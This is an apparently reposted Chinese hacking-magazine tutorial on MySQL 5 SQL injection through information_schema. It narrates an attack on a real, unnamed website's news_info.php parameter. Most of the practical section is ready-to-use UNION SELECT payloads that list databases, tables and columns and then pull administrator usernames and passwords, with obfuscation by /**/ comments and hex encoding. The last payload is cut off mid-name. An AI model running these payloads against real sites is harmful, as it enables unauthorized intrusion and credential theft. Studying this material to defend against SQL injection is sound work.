Mysql5注射技巧总结

flyh4t@126.com

文章已经发表在《黑客手册》,转载请署名版权

Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来,你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。

一、原理分析

我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的

mysql> use information_schema;

Database changed

mysql> show tables;

+---------------------------------------+

| Tables_in_information_schema |

+---------------------------------------+

| CHARACTER_SETS |

| COLLATIONS |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS |

| COLUMN_PRIVILEGES |

| KEY_COLUMN_USAGE |

| ROUTINES |

| SCHEMATA |

| SCHEMA_PRIVILEGES |

| STATISTICS |

| TABLES |

| TABLE_CONSTRAINTS |

| TABLE_PRIVILEGES |

| TRIGGERS |

| USER_PRIVILEGES |

| VIEWS |

+---------------------------------------+

如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。 

| SCHEMATA ――>存储数据库名的,

|——>关键字段:SCHEMA_NAME,表示数据库名称

| TABLES ――>存储表名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示表的名称

| COLUMNS ――>存储字段名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示所属的表的名称

          COLUMN_NAME表示字段名

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

二、实战测试

到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*
http://pic.yupoo.com/sunlei/075904f6f3fc/zwvmqtll.jpg
图一

下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*
http://pic.yupoo.com/sunlei/504954f6f3fe/32u8def7.jpg
图2

遍里webbase里面的表名,找到敏感的表,如图三(0x77656262617365是webbase的十六进制编码)

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1
http://pic.yupoo.com/sunlei/644934f6f401/65ufe5ux.jpg
图3

tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1
http://pic.yupoo.com/sunlei/062564f6f403/qrbco68j.jpg
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1
http://pic.yupoo.com/sunlei/342874f6f403/y56ibcwf.jpg
图五

数据库,表名,字段我们都知道了,查出密码就很简单了,如图六

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse
http://pic.yupoo.com/sunlei/090024f6f406/hcxzd76b.jpg
图6

文章就到这里结束了,懂点sql语法的朋友应该看的比较明白了:)  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值